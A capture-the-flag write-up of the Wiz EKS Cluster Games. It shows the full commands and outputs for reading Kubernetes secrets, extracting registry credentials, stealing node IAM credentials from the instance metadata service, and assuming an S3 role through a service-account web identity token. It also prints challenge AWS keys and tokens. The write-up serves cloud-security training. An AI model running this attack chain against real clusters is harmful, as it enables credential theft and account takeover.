The EKS Cluster Games is a cloud security Capture The Flag (CTF) event organize by Wiz with the goal of identifying and and learning about common Amazon EKS security issues
To learn more: https://www.wiz.io/blog/announcing-the-eks-cluster-games
Level 1: Secret Seeker
Permission
Copy {
"secrets" : [
"get" ,
"list"
]
}
Our service account permission
Copy kubectl auth can-i --list
warning : the list may be incomplete : webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get list]
[ /.well-known/openid-configuration ] [] [ get ]
[ /api/* ] [] [ get ]
[ /api ] [] [ get ]
[ /apis/* ] [] [ get ]
[ /apis ] [] [ get ]
[ /healthz ] [] [ get ]
[ /healthz ] [] [ get ]
[ /livez ] [] [ get ]
[ /livez ] [] [ get ]
[ /openapi/* ] [] [ get ]
[ /openapi ] [] [ get ]
[ /openid/v1/jwks ] [] [ get ]
[ /readyz ] [] [ get ]
[ /readyz ] [] [ get ]
[ /version/ ] [] [ get ]
[ /version/ ] [] [ get ]
[ /version ] [] [ get ]
[ /version ] [] [ get ]
podsecuritypolicies.policy [] [eks.privileged] [use]
We can see that the service account has list, get
permission on secrets
, lets try listing it out.
Copy kubectl get secrets -o yaml
apiVersion : v1
items :
- apiVersion : v1
data :
flag : d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==
kind : Secret
metadata :
creationTimestamp : "2023-11-01T13:02:08Z"
name : log-rotate
namespace : challenge1
resourceVersion : "890951"
uid : 03f6372c-b728-4c5b-ad28-70d5af8d387c
type : Opaque
kind : List
metadata :
resourceVersion : ""
We can see the flag in base64
Copy root@wiz-eks-challenge:~# echo "d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ"| base64 -d
wiz_eks_challenge{omg_over_privileged_secret_access}base64: invalid input
Flag: wiz_eks_challenge{omg_over_privileged_secret_access}
Reference:
https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-enumeration#get-current-privileges
https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-enumeration#get-secrets
Level 2: Registry Hunt
Permissions
Copy {
"secrets" : [
"get"
] ,
"pods" : [
"list" ,
"get"
]
}
Listing the pods
Copy kubectl get pods
NAME READY STATUS RESTARTS AGE
database-pod-2c9b3a4e 1/1 Running 1 (9d ago) 45d
Copy kubectl get pods database-pod-2c9b3a4e -o yaml
apiVersion : v1
kind : Pod
metadata :
annotations :
kubernetes.io/psp : eks.privileged
pulumi.com/autonamed : "true"
creationTimestamp : "2023-11-01T13:32:05Z"
name : database-pod-2c9b3a4e
namespace : challenge2
resourceVersion : "12166896"
uid : 57fe7d43-5eb3-4554-98da-47340d94b4a6
spec :
containers :
- image : eksclustergames/base_ext_image
imagePullPolicy : Always
name : my-container
resources : {}
terminationMessagePath : /dev/termination-log
terminationMessagePolicy : File
volumeMounts :
- mountPath : /var/run/secrets/kubernetes.io/serviceaccount
name : kube-api-access-cq4m2
readOnly : true
dnsPolicy : ClusterFirst
enableServiceLinks : true
imagePullSecrets :
- name : registry-pull-secrets-780bab1d
nodeName : ip-192-168-21-50.us-west-1.compute.internal
preemptionPolicy : PreemptLowerPriority
priority : 0
restartPolicy : Always
schedulerName : default-scheduler
securityContext : {}
serviceAccount : default
serviceAccountName : default
terminationGracePeriodSeconds : 30
tolerations :
- effect : NoExecute
key : node.kubernetes.io/not-ready
operator : Exists
tolerationSeconds : 300
- effect : NoExecute
key : node.kubernetes.io/unreachable
operator : Exists
tolerationSeconds : 300
volumes :
- name : kube-api-access-cq4m2
projected :
defaultMode : 420
sources :
- serviceAccountToken :
expirationSeconds : 3607
path : token
- configMap :
items :
- key : ca.crt
path : ca.crt
name : kube-root-ca.crt
- downwardAPI :
items :
- fieldRef :
apiVersion : v1
fieldPath : metadata.namespace
path : namespace
status :
conditions :
- lastProbeTime : null
lastTransitionTime : "2023-11-01T13:32:05Z"
status : "True"
type : Initialized
- lastProbeTime : null
lastTransitionTime : "2023-12-07T19:54:26Z"
status : "True"
type : Ready
- lastProbeTime : null
lastTransitionTime : "2023-12-07T19:54:26Z"
status : "True"
type : ContainersReady
- lastProbeTime : null
lastTransitionTime : "2023-11-01T13:32:05Z"
status : "True"
type : PodScheduled
containerStatuses :
- containerID : containerd://8010fe76a2bcad0d49b7d810efd7afdecdf00815a9f5197b651b26ddc5de1eb0
image : docker.io/eksclustergames/base_ext_image:latest
imageID : docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
lastState :
terminated :
containerID : containerd://b427307b7f428bcf6a50bb40ebef194ba358f77dbdb3e7025f46be02b922f5af
exitCode : 0
finishedAt : "2023-12-07T19:54:25Z"
reason : Completed
startedAt : "2023-11-01T13:32:08Z"
name : my-container
ready : true
restartCount : 1
started : true
state :
running :
startedAt : "2023-12-07T19:54:26Z"
hostIP : 192.168.21.50
phase : Running
podIP : 192.168.12.173
podIPs :
- ip : 192.168.12.173
qosClass : BestEffort
startTime : "2023-11-01T13:32:05Z"
We can see that ImagePullSecrets
name is registry-pull-secrets-780bab1d
Based on the kubernetes documentation, we know that ImagePullSecrets ios referencing a secret in the same namespace.
Listing out the secrets, we can retrieve the credentials for the private registry
Copy kubectl get secret registry-pull-secrets-780bab1d -o yaml
apiVersion : v1
data :
.dockerconfigjson : eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19
kind : Secret
metadata :
annotations :
pulumi.com/autonamed : "true"
creationTimestamp : "2023-11-01T13:31:29Z"
name : registry-pull-secrets-780bab1d
namespace : challenge2
resourceVersion : "897340"
uid : 1348531e-57ff-42df-b074-d9ecd566e18b
type : kubernetes.io/dockerconfigjson
Decoding the .dockerconfigjson
jwt token gives us the authentication token, which can further be decoded to the credentials.
Copy echo 'eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19' | base64 -d
{ "auths" : { "index.docker.io/v1/" : { "auth" : "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw==" }}}
echo 'ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw==' | base64 -d
eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
Since crane is pre-installed, we can use crane to authenticate and pull from the docker registry
Based on the documentation , the syntax for crane auth login
Copy crane auth login [OPTIONS] [SERVER] [flags]
# Log in to reg.example.com
crane auth login reg.example.com -u AzureDiamond -p hunter2
To login to index.docker.io
, we will use the following command.
Copy crane auth login index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
2023/12/17 03:58:28 logged in via /home/user/.docker/config.json
Reading the /home/user/.docker/config.json
files shows that we have authenticated succesfully.
Copy cat /home/user/.docker/config.json
{
"auths" : {
"https://index.docker.io/v1/" : {
"auth" : "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="
}
}
}
We are able to then list and pull the docker container tarball
Copy crane ls index.docker.io/eksclustergames/base_ext_image --full-ref
index.docker.io/eksclustergames/base_ext_image:latest
crane pull index.docker.io/eksclustergames/base_ext_image:latest image.tar
Doing some manual enumeration allows us to retrieve the flag
Copy tar xfv image.tar
sha256:add093cd268deb7817aee1887b620628211a04e8733d22ab5c910f3b6cc91867
3f4d90098f5b5a6f6a76e9d217da85aa39b2081e30fa1f7d287138d6e7bf0ad7.tar.gz
193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz
manifest.json
tar xfCv 193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz stuff2
etc/
flag.txt
proc/
proc/.wh..wh..opq
sys/
sys/.wh..wh..opq
cat stuff2/flag.txt
wiz_eks_challenge {nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}
We can also view the configuration of the image using crane config
Copy crane config eksclustergames/base_ext_image:latest | jq
{
"architecture" : "amd64" ,
"config" : {
"Env" : [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
] ,
"Cmd" : [
"/bin/sleep" ,
"3133337"
] ,
"ArgsEscaped" : true ,
"OnBuild" : null
} ,
"created" : "2023-11-01T13:32:18.920734382Z" ,
"history" : [
{
"created" : "2023-07-18T23:19:33.538571854Z" ,
"created_by" : "/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "
} ,
{
"created" : "2023-07-18T23:19:33.655005962Z" ,
"created_by" : "/bin/sh -c #(nop) CMD [\"sh\"]" ,
"empty_layer" : true
} ,
{
"created" : "2023-11-01T13:32:18.920734382Z" ,
"created_by" : "RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' > /flag.txt # buildkit" ,
"comment" : "buildkit.dockerfile.v0"
} ,
{
"created" : "2023-11-01T13:32:18.920734382Z" ,
"created_by" : "CMD [\"/bin/sleep\" \"3133337\"]" ,
"comment" : "buildkit.dockerfile.v0" ,
"empty_layer" : true
}
] ,
"os" : "linux" ,
"rootfs" : {
"type" : "layers" ,
"diff_ids" : [
"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f" ,
"sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432"
]
}
}
Flag: wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}
Interestingly, this attack path is based on 2 real engagement on Alibaba Cloud and IBM Cloud linked below.
https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-potential-r
https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql
Reference:
https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-enumeration#get-pods
https://kubernetes.io/docs/reference/kubernetes-api/workload-resources/pod-v1/#containers
https://kubernetes.io/docs/concepts/containers/images/#specifying-imagepullsecrets-on-a-pod
https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md
https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane_auth_login.md#crane-auth-login
https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane_ls.md
https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane_pull.md
Level 3: Image Inquisition
Permission
Copy {
"pods" : [
"list" ,
"get"
]
}
Doing the same pod enumeration, since we have list and get pods permission
Copy kubectl get pods accounting-pod-876647f8 -o yaml
apiVersion : v1
kind : Pod
metadata :
annotations :
kubernetes.io/psp : eks.privileged
pulumi.com/autonamed : "true"
creationTimestamp : "2023-11-01T13:32:10Z"
name : accounting-pod-876647f8
namespace : challenge3
resourceVersion : "12166911"
uid : dd2256ae-26ca-4b94-a4bf-4ac1768a54e2
spec :
containers :
- image : 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
imagePullPolicy : IfNotPresent
name : accounting-container
resources : {}
terminationMessagePath : /dev/termination-log
terminationMessagePolicy : File
volumeMounts :
- mountPath : /var/run/secrets/kubernetes.io/serviceaccount
name : kube-api-access-mmvjj
readOnly : true
dnsPolicy : ClusterFirst
enableServiceLinks : true
nodeName : ip-192-168-21-50.us-west-1.compute.internal
preemptionPolicy : PreemptLowerPriority
priority : 0
restartPolicy : Always
schedulerName : default-scheduler
securityContext : {}
serviceAccount : default
serviceAccountName : default
terminationGracePeriodSeconds : 30
tolerations :
- effect : NoExecute
key : node.kubernetes.io/not-ready
operator : Exists
tolerationSeconds : 300
- effect : NoExecute
key : node.kubernetes.io/unreachable
operator : Exists
tolerationSeconds : 300
volumes :
- name : kube-api-access-mmvjj
projected :
defaultMode : 420
sources :
- serviceAccountToken :
expirationSeconds : 3607
path : token
- configMap :
items :
- key : ca.crt
path : ca.crt
name : kube-root-ca.crt
- downwardAPI :
items :
- fieldRef :
apiVersion : v1
fieldPath : metadata.namespace
path : namespace
status :
conditions :
- lastProbeTime : null
lastTransitionTime : "2023-11-01T13:32:10Z"
status : "True"
type : Initialized
- lastProbeTime : null
lastTransitionTime : "2023-12-07T19:54:29Z"
status : "True"
type : Ready
- lastProbeTime : null
lastTransitionTime : "2023-12-07T19:54:29Z"
status : "True"
type : ContainersReady
- lastProbeTime : null
lastTransitionTime : "2023-11-01T13:32:10Z"
status : "True"
type : PodScheduled
containerStatuses :
- containerID : containerd://665178aaf28ddd6d73bf88958605be9851e03eed9c1e61f1a1176a69719191f2
image : sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3
imageID : 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
lastState :
terminated :
containerID : containerd://c465d5104e6f4cac49da0b7495eb2f7c251770f8bf3ce4a1096cf5c704b9ebbe
exitCode : 0
finishedAt : "2023-12-07T19:54:28Z"
reason : Completed
startedAt : "2023-11-01T13:32:11Z"
name : accounting-container
ready : true
restartCount : 1
started : true
state :
running :
startedAt : "2023-12-07T19:54:29Z"
hostIP : 192.168.21.50
phase : Running
podIP : 192.168.5.251
podIPs :
- ip : 192.168.5.251
qosClass : BestEffort
startTime : "2023-11-01T13:32:10Z"
We can see the image container is 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 which is hosted on AWS ECR.
From the challenge description, we are running inside a compromised EKS Pod, and while in a AWS EKS Pod, we are able to steal the metadata credentials.
Copy curl 169.254 . 169.254 /latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
{"AccessKeyId":"ASIA2AVYNEVM3TDX5VPA","Expiration":"2023-12-18 02:55:30+00:00","SecretAccessKey":"x8he/k4hZVf3XeC05+Zt3SE2js1l5SNlGeNv2c/G","SessionToken":"FwoGZXIvYXdzEEsaDJSwL+do/UMYss5O+SK3AW6TiFtiYLJj64aaDRckHW9q5CqfHpxSvN5Le4DVDkKzEpxfif0lNQ89i4GoKhabhvzatg/rv7YGx4oQUImNFGf/FPwPEb6hLdIsHO3i3hRAqSzoVOg5dzv6nXKkSlUogp0oeQlrqw6d7/q4wwjMKRQmDPvCkqr0tmtWRpwksYjeod4wus1HP3Pw8sJBEVrbDjfjvXtATw5lGm1G/wiCzMrDJPK+b67OWcmQH0Rd9sB8LHzm3R9qTCiSzf6rBjItdu1cltD7s6hdSUFvjoOWMV87m8mZ0NFaTKXZUwvSPY6eGddSjbh+Eo39gbn3"}
Next, we can login using the aws configure command, and then manually setting the session token by modifying the .aws/credentials
file.
Next, we confirm if the credentials is configured properly using the aws sts get-caller identity
and then perform further enumeration.
Looking at aws ecr cli reference page , I found a few command interesting and decided to perform those enumeration.
Running aws ecr describe-repositories
shows that there are 2 image repository within the registry.
Running aws ecr get-authorization-token
allows us to retrieve the authorization tokene to login using crane.
And upon base64 decoding, we get the username and the password token. The command aws ecr get-login-password
will automatically retrieve the authentication token.
Using the same command from level 2, I was able to login succesfully.
Copy export password=$(aws ecr get-login-password)
crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com -u AWS -p $password
We are able to retrieve the flag from the configuration file again.
Copy crane config 688655246681 .dkr.ecr.us-west -1 .amazonaws.com/central_repo-aaf 4 a 7 c: 374 f 28 d 8 -container | jq
{
"architecture" : "amd64" ,
"config" : {
"Env" : [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
] ,
"Cmd" : [
"/bin/sleep" ,
"3133337"
] ,
"ArgsEscaped" : true ,
"OnBuild" : null
} ,
"created" : "2023-11-01T13:32:07.782534085Z" ,
"history" : [
{
"created" : "2023-07-18T23:19:33.538571854Z" ,
"created_by" : "/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "
} ,
{
"created" : "2023-07-18T23:19:33.655005962Z" ,
"created_by" : "/bin/sh -c #(nop) CMD [\"sh\"]" ,
"empty_layer" : true
} ,
{
"created" : "2023-11-01T13:32:07.782534085Z" ,
"created_by" : "RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit" ,
"comment" : "buildkit.dockerfile.v0"
} ,
{
"created" : "2023-11-01T13:32:07.782534085Z" ,
"created_by" : "CMD [\"/bin/sleep\" \"3133337\"]" ,
"comment" : "buildkit.dockerfile.v0" ,
"empty_layer" : true
}
] ,
"os" : "linux" ,
"rootfs" : {
"type" : "layers" ,
"diff_ids" : [
"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f" ,
"sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"
]
}
}
Flag: wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future}
Reference:
https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/
https://docs.aws.amazon.com/cli/latest/reference/ecr/
https://docs.aws.amazon.com/cli/latest/reference/ecr/describe-repositories.html
https://docs.aws.amazon.com/cli/latest/reference/ecr/get-authorization-token.html
Level 4: Pod Break
Permission
Upon solving level 3 challenge, we are being told that the credentials will be available in the pod for ease of use. However, as I manually modified the .aws/credentials
file previously, I will need to retrieve the token from IMDS again and to re-configure with the level4 credentials/
Note that the pod service account has no permission, so we will be looking towards abusing the AWS permission instead.
Looking at the aws cli eks
reference page, we found a few interesting commands, namely the describe-cluster, list-cluster
and get-token
. We do not have permission to run both describe and list cluster, but am able to retrieve a token using get-token
Copy aws eks get-token --cluster-name eks-challenge-cluster
{
"kind" : "ExecCredential" ,
"apiVersion" : "client.authentication.k8s.io/v1beta1" ,
"spec" : {} ,
"status" : {
"expirationTimestamp" : "2023-12-24T16:11:30Z" ,
"token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk02TlpRMkdFVSUyRjIwMjMxMjI0JTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyMzEyMjRUMTU1NzMwWiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFT24lMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFESDR3c3ZpTUY5MUtENHAlMkJuaUszQWJQaExkQ2JhJTJGJTJCaUozOXRpeXBjS09EZDZNSGx3Q1BsZG0lMkJLR3JRUGFpaG13ZkdrdGQ2S2gwOElKYjZVaGUxJTJGREZEZnlyODVBWnFBbXpYcHlvdEhtdXZKVDRnWWsydGZiQmxwdnJDa3FYVGlWeHZQbkdCYUhhSlVXRHZ4RE5BVnZqbGlPd1pSZ283UGhBQ3ZyOXR0JTJGTUpUNEFyZVY3d2tzR09jNk43cGppdEU1QWl0MEVJY2hwOCUyQmpyc1cySmZkaEtiRE9sNDQ0bGtZMDJLb2dhREpYeG1aWU9BVE1ncGRkMHl4UTBnbm1hTVhKU25FZXBiYSUyQmlqWm9xR3NCakl0N0lsMUFtSGNWZDlGcHhKWng1RGh1clpxcUR6WG9zeG8lMkZVRU1paHluQ0ZCdyUyQmFJZXBDZiUyRndlR1RadWIlMkYmWC1BbXotU2lnbmF0dXJlPTc2ZjNkYTI2MjA5Mzg3MDEwNzNjOWJhNmFhNTk4MmUzYmNkY2IxNzk1Y2RhYjhiNjRmMmMyZTMyNTU2ZWE2Nzg"
}
}
I tried to update the kubeconfig file following this article guide, but was facing some issues. Then, I saw another stackoverflow question to show how to directly use the token with kubectl without configuring the kubeconfig file.
Copy TOKEN=$(aws eks get-token --cluster-name=eks-challenge-cluster | jq '.status.token' | sed "s/\"//g")
kubectl auth can-i --list --token=$TOKEN
We are able to then retrieve the flag from the secrets.
Copy kubectl get secret --token=$TOKEN -o yaml
apiVersion : v1
items :
- apiVersion : v1
data :
flag : d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9uYXZpZ2F0ZV9JTURTX3RvX0VLU19jb25ncmF0c30=
kind : Secret
metadata :
creationTimestamp : "2023-11-01T12:27:57Z"
name : node-flag
namespace : challenge4
resourceVersion : "883574"
uid : 26461a29-ec72-40e1-adc7-99128ce664f7
type : Opaque
kind : List
metadata :
resourceVersion : ""
echo "d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9uYXZpZ2F0ZV9JTURTX3RvX0VLU19jb25ncmF0c30=" | base64 -d
wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}
Flag: wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}
Reference:
https://docs.aws.amazon.com/cli/latest/reference/eks/
https://amod-kadam.medium.com/how-does-kubeconfig-works-with-aws-eks-get-token-8a19ff4c5814
https://stackoverflow.com/a/77407767
Level 5: Container Secrets Infrastructure
Based on the description, we will need to pivot from EKS to the AWS account and retrieve a flag from AWS S3 bucket. First, lets take a look at the policy they have given.
Running a kubectl auth can-i --list
to see the permission scope properly.
Copy kubectl auth can-i --list
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
serviceaccounts/token [] [debug-sa] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods [] [] [get list]
secrets [] [] [get list]
serviceaccounts [] [] [get list]
We can see the user has permission on pods, secrets and service accounts, so lets enumerate and find out more.
Copy kubectl get secrets -o yaml
apiVersion : v1
items : []
kind : List
metadata :
resourceVersion : ""
kubectl get pods -o yaml
apiVersion : v1
items : []
kind : List
metadata :
resourceVersion : ""
kubectl get serviceaccounts -o yaml
apiVersion : v1
items :
- apiVersion : v1
kind : ServiceAccount
metadata :
annotations :
description : This is a dummy service account with empty policy attached
eks.amazonaws.com/role-arn : arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e
creationTimestamp : "2023-10-31T20:07:37Z"
name : debug-sa
namespace : challenge5
resourceVersion : "671929"
uid : 6cb6024a-c4da-47a9-9050-59c8c7079904
- apiVersion : v1
kind : ServiceAccount
metadata :
creationTimestamp : "2023-10-31T20:07:11Z"
name : default
namespace : challenge5
resourceVersion : "671804"
uid : 77bd3db6-3642-40d5-b8c1-14fa1b0cba8c
- apiVersion : v1
kind : ServiceAccount
metadata :
annotations :
eks.amazonaws.com/role-arn : arn:aws:iam::688655246681:role/challengeEksS3Role
creationTimestamp : "2023-10-31T20:07:34Z"
name : s3access-sa
namespace : challenge5
resourceVersion : "671916"
uid : 86e44c49-b05a-4ebe-800b-45183a6ebbda
kind : List
metadata :
resourceVersion : ""
From the enumeration, we can see there is two service account, namelydebug-sa
and s3access-sa
. Based on the permission from the kubectl auth can-i --list
, we are able to create a service account token for the debug-sa
account. Also note the EKS role arn assigned to both service account.
Copy TOKEN=$(kubectl create token debug-sa)
kubectl auth can-i --list --token=$TOKEN
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
podsecuritypolicies.policy [] [eks.privileged] [use]
However, we have less permission within the pods using the debug service account, which is also inline with the debug-sa
description of being a dummy account.
Based on the trust policy, theres the action of sts:AssumeRoleWithWebIdentity
.
Copy {
"Version" : "2012-10-17" ,
"Statement" : [
{
"Effect" : "Allow" ,
"Principal" : {
"Federated" : "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
} ,
"Action" : "sts:AssumeRoleWithWebIdentity" ,
"Condition" : {
"StringEquals" : {
"oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud" : "sts.amazonaws.com"
}
}
}
]
}
Doing some research leads me down to this user guide by AWS . Theres also a section on hacktricks that showcases this technique. So lets try and assume the role based on the policy file above. Note that I will need to renegerate the token according the the trust policy file, where the token audience has to be sts.amazonaws.com
Copy TOKEN=$(kubectl create token debug-sa --audience sts.amazonaws.com)
aws sts assume-role-with-web-identity --role-arn arn:aws:iam:: 688655246681 :role/challengeEksS 3 Role --role-session-name something --web-identity-token $TOKEN
{
"Credentials" : {
"AccessKeyId" : "ASIA2AVYNEVM4L5OSGPW" ,
"SecretAccessKey" : "fiUdOL1u6kYo2qqwDiV5/99W1mbwZ/L0y+XdGJpI" ,
"SessionToken": "IQoJb3JpZ2luX2VjEOz//////////wEaCXVzLXdlc3QtMSJIMEYCIQCk1qJGYAf5fic/6XZ08OeVmRPPnrfyftDQwH/mJE03kQIhAPhwKcHtbXSFambfgAIPGwSu+H+Ds6l7hCb1Bgt7jbJsKroECHUQABoMNjg4NjU1MjQ2NjgxIgw1sDbG9rHyXc/e3QoqlwRficlydMRZhiAt8DU4mBC3IXO87p3SqSCdzCs2qeic0A1Rx43+UN0IL0T0WiLpvHKo1+MCikStA0OuxGCuK+paBdmISQdw6XxxvMof+qzmyA/ntxajmkeYmAuqU2bx2jzHk8Q2wefD/1I+utp5BJLleGbVDxaO1kongQaLWjfFKwwJKdgos4PVey85BZoX24haobEcYSYfTZXtiuWpj3gU+Z+P4MA+c4aWsYZHxStE5XMGWf45Oki5gdsgiwznfvd+vBTWD8Zk17efJ0rGmADslPlfH0x29vqQgBSRg2+v1+JzXBehafZVgcobx910tNjy1EyKXuFIa4y2wtGPUNXrK8a9edoonePrqXQWJZzgphh8PXQsngGIbG1iTt4T78VzOYHWby9AyPpG5p/bVQ0l9ZAbag3rRYpBOyItWQvWRd2Jp+s3Zgv22Is8DZBOl7hUH5mshBQRWRjY9UUMeuSmWxyL617D3YaNmYRER6nn0EsLLd8LG863uLE5VYrGeuOSaZmvFIhmmxxLzyyr1uzngM3gr/LOt8ExKmHkQcAoDnX/JQts1Q9uuoNlc3Wr0OUZ18mWaVGg9RBHLc3uYbrk0CSZXItx7D/IJTiaJzZ/SHnFnw81AikUuk8e4cSGWhpagjIvqH9jS1NmMwuDHpcBs7sVO6qU5HQ5Oht75p3HOVq8Q0cvH/NPXW8iTN5NU9Zy9m5jJWZbMOrdpawGOpQBmiwUu2AW8lqnaI7sEGQvuUCJ/ACBRmEUj7j6rNMVVEH4S7kYOhcwbTLrHP4xoeFAk9hNHq29PIB3CHS0n7EOjkAgqwSFH7Bg2l3X+Z6JDOr07if0HeJPHkE1MwxILO03HooJHAiF7b/wBlMompCbZuf/po/e5lU2WL5pFcXO+GCAj3Qy6nlRR5RVx269ewK7qWefqQ==",
"Expiration" : "2023-12-25T13:00:42+00:00"
} ,
"SubjectFromWebIdentityToken" : "system:serviceaccount:challenge5:debug-sa" ,
"AssumedRoleUser" : {
"AssumedRoleId" : "AROA2AVYNEVMZEZ2AFVYI:something" ,
"Arn" : "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/something"
} ,
"Provider" : "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589" ,
"Audience" : "sts.amazonaws.com"
}
Next, we can authenticate using aws configure
with the new credentials and retrieve the flag.
Copy aws configure
AWS Access Key ID [None]: ASIA2AVYNEVM4L5OSGPW
AWS Secret Access Key [None]: fiUdOL1u6kYo2qqwDiV5/99W1mbwZ/L0y+XdGJpI
Default region name [None]: us-west-1
Default output format [None]:
